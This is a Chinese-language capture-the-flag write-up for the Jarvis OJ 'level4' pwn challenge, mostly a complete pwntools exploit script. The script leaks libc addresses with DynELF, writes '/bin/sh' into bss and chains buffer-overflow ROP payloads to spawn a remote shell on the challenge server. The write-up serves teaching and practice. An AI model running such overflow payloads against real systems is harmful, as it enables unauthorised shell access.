zoukankan      html  css  js  c++  java
  • Pwn-level4

    题目地址

    友链

    能利用pwntools的DynELF

    思路 用DynELF获取system的地址,将‘/bin/sh’写入bss段中,然后溢出传参的方式获取shell

    EXP如下

    from pwn import *
    r=remote('pwn2.jarvisoj.com',9880)
    
    e=ELF('./level4')
    write_plt=e.symbols['write']
    read_plt=e.symbols['read']
    func=e.symbols['vulnerable_function']
    data_addr=0x804a024  #e.symbols['__bss_start']
    def leak(address):
            payload1='a'*(0x88+0x4)+p32(write_plt)+p32(func)+p32(0x1)+p32(address)+p32(0x4)
            r.sendline(payload1)
            leak_address=r.recv(4)
            return leak_address
    
    d=DynELF(leak,elf=ELF('./level4'))
    sys_addr=d.lookup('system','libc')
    
    payload2='a'*(0x88+0x4)+p32(read_plt)+p32(func)+p32(0x0)+p32(data_addr)+p32(0x8)
    r.sendline(payload2)
    r.sendline('/bin/sh')
    
    payload3='a'*(0x88+0x4)+p32(sys_addr)+'a'*0x4+p32(data_addr)
    r.sendline(payload3)
    
    r.interactive()

    read和write的传参顺序是(fd, addr, len) 即(文件描述符,入口地址,输入输出长度)

    其中文件描述符中0表示标准输入流stdin、1表示标准输出流stdout

  • 相关阅读:
    F12
    InnerClass.java
    Java8
    对象下—练习4
    对象下—练习3
    模板方法
    对象下—练习2
    对象下—举例二、三
    【J-Link】J-Link不支持(版本太低)
    【Android】安装插件 + 改变文字大小、颜色 + 隐藏代码区块的直线
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11696550.html
Copyright © 2011-2022 走看看